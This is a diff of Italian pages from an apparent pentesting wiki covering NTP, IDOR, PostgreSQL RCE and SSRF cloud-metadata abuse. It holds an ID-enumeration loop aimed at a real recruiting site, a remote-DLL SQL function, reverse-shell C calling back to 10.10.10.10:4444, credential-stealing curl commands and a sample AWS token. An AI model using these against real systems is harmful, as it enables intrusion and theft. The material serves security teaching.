- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete su reti a latenza variabile sincronizzino accuratamente i loro orologi. È fondamentale per mantenere una precisa misurazione del tempo nelle operazioni IT, nella sicurezza e nel logging. Poiché il tempo è utilizzato in quasi ogni processo di autenticazione, protocollo crittografico e forense, **un attaccante che può influenzare l'NTP può spesso eludere i controlli di sicurezza o rendere più difficile l'indagine sugli attacchi.**
|
||||
Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete su reti a latenza variabile sincronizzino i loro orologi in modo accurato. È fondamentale per mantenere una precisa misurazione del tempo nelle operazioni IT, nella sicurezza e nel logging. Poiché il tempo è utilizzato in quasi ogni processo di autenticazione, protocollo crittografico e forense, **un attaccante che può influenzare l'NTP può spesso eludere i controlli di sicurezza o rendere più difficile l'indagine sugli attacchi.**
|
||||
|
||||
### Riepilogo e Consigli di Sicurezza
|
||||
|
||||
@ -15,7 +15,7 @@ Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete
|
||||
- Limitare chi può interrogare/comandare il demone (``restrict default noquery``, ``kod`` ecc.).
|
||||
- Disabilitare le query di controllo legacy Mode-6/7 (``monlist``, ``ntpdc``) o limitarle in base al tasso.
|
||||
- Monitorare la deriva di sincronizzazione/stato del secondo intercalare per manomissioni.
|
||||
- Tenere il demone aggiornato (vedere i recenti CVE di seguito).
|
||||
- Mantenere il demone aggiornato (vedere i recenti CVE di seguito).
|
||||
|
||||
**Porte predefinite**
|
||||
```
|
||||
@ -51,7 +51,7 @@ chronyc -a -n tracking -h <IP>
|
||||
chronyc -a -n sources -v -h <IP>
|
||||
chronyc -a -n sourcestats -h <IP>
|
||||
```
|
||||
Vedi la pagina man di chronyc per il significato delle flag **M/S** e altri campi (stratum, reach, jitter, ecc.).
|
||||
Consulta la pagina man di chronyc per il significato delle flag **M/S** e altri campi (stratum, reach, jitter, ecc.).
|
||||
|
||||
### Nmap
|
||||
```bash
|
||||
@ -73,19 +73,19 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
- ``/etc/chrony/chrony.conf`` (chrony)
|
||||
- ``/etc/systemd/timesyncd.conf`` (timesyncd – solo client)
|
||||
|
||||
Presta particolare attenzione alle righe ``restrict``, alle impostazioni ``kod`` (Kiss-o'-Death), a ``disable monitor``/``includefile /etc/ntp/crypto`` e se *NTS* è abilitato (``nts enable``).
|
||||
Fai particolare attenzione alle righe ``restrict``, alle impostazioni ``kod`` (Kiss-o'-Death), a ``disable monitor``/``includefile /etc/ntp/crypto`` e se *NTS* è abilitato (``nts enable``).
|
||||
|
||||
---
|
||||
## Vulnerabilità recenti (2023-2025)
|
||||
|
||||
| Anno | CVE | Componente | Impatto |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Scritture multiple fuori dai limiti raggiungibili tramite risposte **ntpq**. Patch in **4.2.8p16** 🡒 aggiorna o riporta le correzioni. citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementazione Rust) | Cookie **NTS** malformato causa un **DoS** remoto prima della v0.3.3 – influisce sulla porta 123 anche quando NTS è **disabilitato**. citeturn4view0|
|
||||
| 2024 | aggiornamenti distro | **chrony 4.4 / 4.5** – diverse correzioni di sicurezza e NTS-KE (es. SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | Record DDoS | Cloudflare riporta un attacco di **riflessione UDP da 5.6 Tbps** (NTP tra i protocolli utilizzati). Mantieni *monitor* e *monlist* disabilitati su host esposti a Internet. citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Scritture multiple fuori dai limiti raggiungibili tramite risposte **ntpq**. Patch in **4.2.8p16** 🡒 aggiorna o riporta le correzioni. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementazione Rust) | Cookie **NTS** malformato causa **DoS** remoto prima della v0.3.3 – influisce sulla porta 123 anche quando NTS è **disabilitato**. |
|
||||
| 2024 | aggiornamenti distro | **chrony 4.4 / 4.5** – diverse correzioni di sicurezza e NTS-KE (es. SUSE-RU-2024:2022) |
|
||||
| 2024 | Record DDoS | Cloudflare riporta un attacco di **riflessione UDP da 5.6 Tbps** (NTP tra i protocolli utilizzati). Mantieni *monitor* e *monlist* disabilitati sugli host esposti a Internet. |
|
||||
|
||||
> **Kit di exploit**: I payload di proof-of-concept per la serie di scritture OOB ntpq del 2023 sono su GitHub (vedi il report di Meinberg) e possono essere armati per phishing lato client degli amministratori di sistema. citeturn1search4
|
||||
> **Kit di exploit**: I payload di proof-of-concept per la serie di scritture OOB ntpq del 2023 sono su GitHub (vedi il report di Meinberg) e possono essere utilizzati per phishing lato client degli amministratori di sistema.
|
||||
|
||||
---
|
||||
## Attacchi avanzati
|
||||
@ -95,14 +95,14 @@ Presta particolare attenzione alle righe ``restrict``, alle impostazioni ``kod``
|
||||
La query legacy Mode-7 ``monlist`` restituisce fino a **600 indirizzi host** ed è ancora presente su migliaia di host Internet. Poiché la risposta (428-468 byte/voce) è *~ 200×* più grande della richiesta di 8 byte, un attaccante può raggiungere fattori di amplificazione a tre cifre. Mitigazioni:
|
||||
|
||||
- Aggiorna a ntp 4.2.8p15+ e **aggiungi** ``disable monitor``.
|
||||
- Limita il rate UDP/123 al confine o abilita *sessions-required* sugli apparecchi DDoS.
|
||||
- Limita il rate UDP/123 sul perimetro o abilita *sessions-required* sugli apparecchi DDoS.
|
||||
- Abilita il filtraggio in uscita *BCP 38* per bloccare lo spoofing della sorgente.
|
||||
|
||||
Vedi l'articolo del centro di apprendimento di Cloudflare per una spiegazione passo-passo. citeturn5search1
|
||||
Vedi l'articolo del centro di apprendimento di Cloudflare per una spiegazione passo-passo.
|
||||
|
||||
### 2. Attacchi di spostamento/ritardo del tempo (ricerca Khronos / Chronos)
|
||||
|
||||
Anche con l'autenticazione, un attaccante in percorso può silenziosamente **spostare l'orologio del client** eliminando/ritardando pacchetti. La bozza **Khronos (ex Chronos)** dell'IETF propone di interrogare un insieme diversificato di server in background e controllare la sanità del risultato per rilevare uno spostamento > 𝚡 ms. Il moderno chrony (4.4+) implementa già un filtro di sanità simile (``maxdistance`` / ``maxjitter``). citeturn9search1
|
||||
Anche con l'autenticazione, un attaccante in percorso può silenziosamente **spostare l'orologio del client** eliminando/ritardando i pacchetti. Il **draft IETF Khronos (precedentemente Chronos)** propone di interrogare un insieme diversificato di server in background e controllare la sanità del risultato per rilevare uno spostamento > 𝚡 ms. Il moderno chrony (4.4+) implementa già un filtro di sanità simile (``maxdistance`` / ``maxjitter``).
|
||||
|
||||
### 3. Abuso di NTS e esposizione 4460/tcp
|
||||
|
||||
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
Cerca certificati autofirmati o scaduti e suite di cifratura deboli (non-AEAD). Riferimento: RFC 8915 §4. citeturn11search0
|
||||
Cerca certificati autofirmati o scaduti e suite di cifratura deboli (non-AEAD). Riferimento: RFC 8915 §4.
|
||||
|
||||
---
|
||||
## Indurimento / Migliori Pratiche Correnti (BCP-233 / RFC 8633)
|
||||
@ -124,10 +124,10 @@ Cerca certificati autofirmati o scaduti e suite di cifratura deboli (non-AEAD).
|
||||
1. Utilizzare **≥ 4** fonti di tempo indipendenti e diverse (pool pubblici, GPS, ponti PTP) per evitare il avvelenamento da fonte singola.
|
||||
2. Abilitare le restrizioni ``kod`` e ``limited``/``nomodify`` in modo che i client abusivi ricevano pacchetti di limitazione della velocità **Kiss-o'-Death** invece di risposte complete.
|
||||
3. Monitorare i log del demone per eventi di **panic** o aggiustamenti di passo > 1000 s. (Firme di attacco secondo RFC 8633 §5.3.)
|
||||
4. Considerare **leap-smear** per evitare interruzioni di secondo intercalare, ma assicurarsi che *tutti* i client a valle utilizzino la stessa finestra di smear.
|
||||
4. Considerare **leap-smear** per evitare interruzioni di secondo intercalare, ma assicurarsi che *tutti* i client downstream utilizzino la stessa finestra di smear.
|
||||
5. Mantenere il polling ≤24 h in modo che i flag di secondo intercalare non vengano persi.
|
||||
|
||||
Vedi RFC 8633 per un elenco di controllo completo. citeturn8search0turn8search1
|
||||
Vedi RFC 8633 per un elenco di controllo completo.
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## Riferimenti
|
||||
|
||||
- RFC 8915 – *Sicurezza del Tempo di Rete per il Protocollo di Tempo di Rete* (porta 4460) citeturn11search0
|
||||
- RFC 8633 – *Protocollo di Tempo di Rete BCP* citeturn8search0
|
||||
- Rapporto DDoS di Cloudflare Q4 2024 (5.6 Tbps) citeturn5search0
|
||||
- Articolo di Cloudflare *Attacco di Amplificazione NTP* citeturn5search1
|
||||
- NTP 4.2.8p15 serie CVE 2023-04 citeturn1search4
|
||||
- Voci NVD **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- Aggiornamento di sicurezza SUSE chrony 2024 (chrony 4.5) citeturn2search2
|
||||
- Bozza Khronos/Chronos (mitigazione dello spostamento temporale) citeturn9search1
|
||||
- Manuale chronyc/esempi per monitoraggio remoto citeturn3search0turn10search1
|
||||
- Documentazione del modulo ntp di zgrab2 citeturn7search0
|
||||
- RFC 8915 – *Sicurezza del Tempo di Rete per il Protocollo di Tempo di Rete* (porta 4460)
|
||||
- RFC 8633 – *Protocollo di Tempo di Rete BCP*
|
||||
- Rapporto DDoS di Cloudflare Q4 2024 (5.6 Tbps)
|
||||
- Articolo di Cloudflare *Attacco di Amplificazione NTP*
|
||||
- NTP 4.2.8p15 serie CVE 2023-04
|
||||
- Voci NVD **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- Aggiornamento di sicurezza chrony SUSE 2024 (chrony 4.5)
|
||||
- Bozza Khronos/Chronos (mitigazione dello spostamento temporale)
|
||||
- Manuale chronyc/esempi per monitoraggio remoto
|
||||
- Documentazione del modulo ntp di zgrab2
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,5 +1,86 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Controlla il post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (Insecure Direct Object Reference)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API rivela o accetta un identificatore controllabile dall'utente che viene utilizzato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto.
|
||||
Lo sfruttamento riuscito consente normalmente l'escalation dei privilegi orizzontale o verticale, come la lettura o la modifica dei dati di altri utenti e, nel peggiore dei casi, il completo takeover dell'account o l'exfiltrazione di massa dei dati.
|
||||
|
||||
---
|
||||
## 1. Identificazione dei potenziali IDOR
|
||||
|
||||
1. Cerca **parametri che fanno riferimento a un oggetto**:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Preferisci gli endpoint che **leggono o aggiornano** i dati (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Nota quando gli identificatori sono **sequenziali o prevedibili** – se il tuo ID è `64185742`, allora `64185741` probabilmente esiste.
|
||||
4. Esplora flussi nascosti o alternativi (ad es. *"Paradox team members"* link nelle pagine di login) che potrebbero esporre API extra.
|
||||
5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è solitamente un segno di IDOR.
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Enumerazione automatizzata (Burp Intruder / ciclo curl)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Studio di Caso Reale – Piattaforma Chatbot McHire (2025)
|
||||
|
||||
Durante una valutazione del portale di reclutamento **McHire** alimentato da Paradox.ai, è stato scoperto il seguente IDOR:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test ristorante
|
||||
* Parametro del corpo: `{"lead_id": N}` – identificatore numerico **selettivo** di 8 cifre
|
||||
|
||||
Riducendo `lead_id`, il tester ha recuperato informazioni personali **complete** di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) oltre a un **JWT** del consumatore che consentiva il furto di sessione. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto circa **64 milioni** di record.
|
||||
|
||||
Richiesta di Proof-of-Concept:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
|
||||
---
|
||||
## 3. Impatto di IDOR / BOLA
|
||||
* Escalation orizzontale – leggere/aggiornare/eliminare i dati di **altri utenti**.
|
||||
* Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin.
|
||||
* Violazione di massa dei dati se gli identificatori sono sequenziali (ad es., ID dei candidati, fatture).
|
||||
* Presa di controllo dell'account rubando token o reimpostando le password di altri utenti.
|
||||
|
||||
---
|
||||
## 4. Mitigazioni e Migliori Pratiche
|
||||
1. **Imporre l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`).
|
||||
2. Preferire **identificatori indiretti e non indovinabili** (UUIDv4, ULID) invece di ID auto-incrementali.
|
||||
3. Eseguire l'autorizzazione **lato server**, non fare mai affidamento su campi di modulo nascosti o controlli UI.
|
||||
4. Implementare controlli **RBAC / ABAC** in un middleware centrale.
|
||||
5. Aggiungere **limitazione della velocità e registrazione** per rilevare l'enumerazione degli ID.
|
||||
6. Testare la sicurezza di ogni nuovo endpoint (unità, integrazione e DAST).
|
||||
|
||||
---
|
||||
## 5. Strumenti
|
||||
* **Estensioni di BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Progetti Github**: `bwapp-idor-scanner`, `Blindy` (caccia IDOR in massa).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Riferimenti
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -81,7 +81,7 @@ Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postg
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è stato reso più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
|
||||
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
|
||||
|
||||
#### Compila la libreria
|
||||
|
||||
@ -176,7 +176,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
In [**qui** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)puoi trovare questa reverse-shell:
|
||||
In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)puoi trovare questa reverse-shell:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
@ -283,8 +283,8 @@ select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Nota che non è necessario aggiungere l'estensione `.dll` poiché la funzione create la aggiungerà._
|
||||
|
||||
Per ulteriori informazioni **leggi la** [**pubblicazione originale qui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
In quella pubblicazione **questo era il** [**codice usato per generare l'estensione postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_per imparare a compilare un'estensione postgres leggi una delle versioni precedenti_).\
|
||||
Per ulteriori informazioni **leggi la**[ **pubblicazione originale qui**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
In quella pubblicazione **questo era il** [**codice usato per generare l'estensione postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_per imparare a compilare un'estensione postgres leggi una delle versioni precedenti_).\
|
||||
Nella stessa pagina è stato fornito questo **exploit per automatizzare** questa tecnica:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
@ -11,9 +11,9 @@
|
||||
Ci sono **2 versioni** dell'endpoint dei metadati. La **prima** consente di **accedere** all'endpoint tramite richieste **GET** (quindi qualsiasi **SSRF può sfruttarlo**). Per la **versione 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), è necessario richiedere un **token** inviando una richiesta **PUT** con un **header HTTP** e poi utilizzare quel token per accedere ai metadati con un altro header HTTP (quindi è **più complicato da abusare** con un SSRF).
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che se l'istanza EC2 sta forzando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
> Nota che se l'istanza EC2 sta applicando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
>
|
||||
> Inoltre, **IMDSv2** bloccherà anche **le richieste per ottenere un token che includono l'header `X-Forwarded-For`**. Questo per prevenire che proxy inversi mal configurati possano accedervi.
|
||||
> Inoltre, **IMDSv2** bloccherà anche **le richieste per ottenere un token che includono l'header `X-Forwarded-For`**. Questo serve a prevenire che proxy inversi mal configurati possano accedervi.
|
||||
|
||||
Puoi trovare informazioni sugli [endpoint dei metadati nella documentazione](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Nel seguente script vengono ottenute alcune informazioni interessanti da esso:
|
||||
```bash
|
||||
@ -77,7 +77,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
||||
```
|
||||
Come esempio di **credenziali IAM disponibili pubblicamente** esposte, puoi visitare: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Puoi anche controllare le **credenziali di sicurezza EC2** pubbliche in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Puoi anche controllare le **credenziali di sicurezza EC2 pubbliche** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Puoi quindi prendere **quelle credenziali e usarle con l'AWS CLI**. Questo ti permetterà di fare **qualsiasi cosa a cui quel ruolo ha permessi**.
|
||||
|
||||
@ -88,22 +88,22 @@ aws_access_key_id = ASIA6GG71[...]
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Nota il **aws_session_token**, questo è indispensabile per il profilo per funzionare.
|
||||
Nota il **aws_session_token**, questo è indispensabile per il funzionamento del profilo.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) può essere utilizzato con le credenziali scoperte per scoprire i tuoi privilegi e cercare di elevarli.
|
||||
|
||||
### Credenziali SSRF in AWS ECS (Container Service)
|
||||
|
||||
**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere il servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
|
||||
**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere un servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
|
||||
|
||||
Se accedi a _**http://169.254.170.2/v2/credentials/\<GUID>**_ troverai le credenziali della macchina ECS. Ma prima devi **trovare il \<GUID>**. Per trovare il \<GUID> devi leggere la variabile **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** all'interno della macchina.\
|
||||
Potresti essere in grado di leggerlo sfruttando un **Path Traversal** a `file:///proc/self/environ`\
|
||||
Potresti essere in grado di leggerla sfruttando un **Path Traversal** a `file:///proc/self/environ`\
|
||||
L'indirizzo http menzionato dovrebbe darti la **AccessKey, SecretKey e token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nota che in **alcuni casi** sarai in grado di accedere ai **metadati dell'istanza EC2** dal container (controlla le limitazioni TTL di IMDSv2 menzionate in precedenza). In questi scenari, dal container potresti accedere sia al ruolo IAM del container che al ruolo IAM di EC2.
|
||||
> [!TIP]
|
||||
> Nota che in **alcuni casi** sarai in grado di accedere ai **metadati dell'istanza EC2** dal container (controlla le limitazioni TTL di IMDSv2 menzionate in precedenza). In questi scenari, dal container potresti accedere sia al ruolo IAM del container che al ruolo IAM dell'EC2.
|
||||
|
||||
### SSRF per AWS Lambda
|
||||
|
||||
@ -133,7 +133,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||
```
|
||||
 
|
||||
|
||||
Poi utilizziamo le credenziali con `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
Poi usiamo le credenziali con `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
## GCP
|
||||
|
||||
@ -143,9 +143,9 @@ Puoi [**trovare qui la documentazione sugli endpoint dei metadati**](https://clo
|
||||
|
||||
Richiede l'intestazione HTTP **`Metadata-Flavor: Google`** e puoi accedere all'endpoint dei metadati con i seguenti URL:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
Endpoint interessanti per estrarre informazioni:
|
||||
```bash
|
||||
@ -299,7 +299,7 @@ done
|
||||
## Digital Ocean
|
||||
|
||||
> [!WARNING]
|
||||
> Non ci sono cose come AWS Roles o GCP service account, quindi non aspettarti di trovare credenziali del bot di metadata
|
||||
> Non ci sono cose come AWS Roles o GCP service account, quindi non aspettarti di trovare credenziali del bot dei metadati
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
@ -325,7 +325,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> [!TIP]
|
||||
> Una VM Azure può avere attaccata 1 identità gestita di sistema e diverse identità gestite dall'utente. Questo significa fondamentalmente che puoi **impersonare tutte le identità gestite attaccate a una VM**.
|
||||
>
|
||||
> Quando richiedi un token di accesso all'endpoint dei metadati, per impostazione predefinita il servizio di metadati utilizzerà l'**identità gestita assegnata al sistema** per generare il token, se esiste un'identità gestita assegnata al sistema. Nel caso ci sia solo **UN' identità gestita assegnata all'utente**, allora questa verrà utilizzata per impostazione predefinita. Tuttavia, nel caso non ci sia un'identità gestita assegnata al sistema e ci siano **più identità gestite assegnate all'utente**, il servizio di metadati restituirà un errore che indica che ci sono più identità gestite e sarà necessario **specificare quale utilizzare**.
|
||||
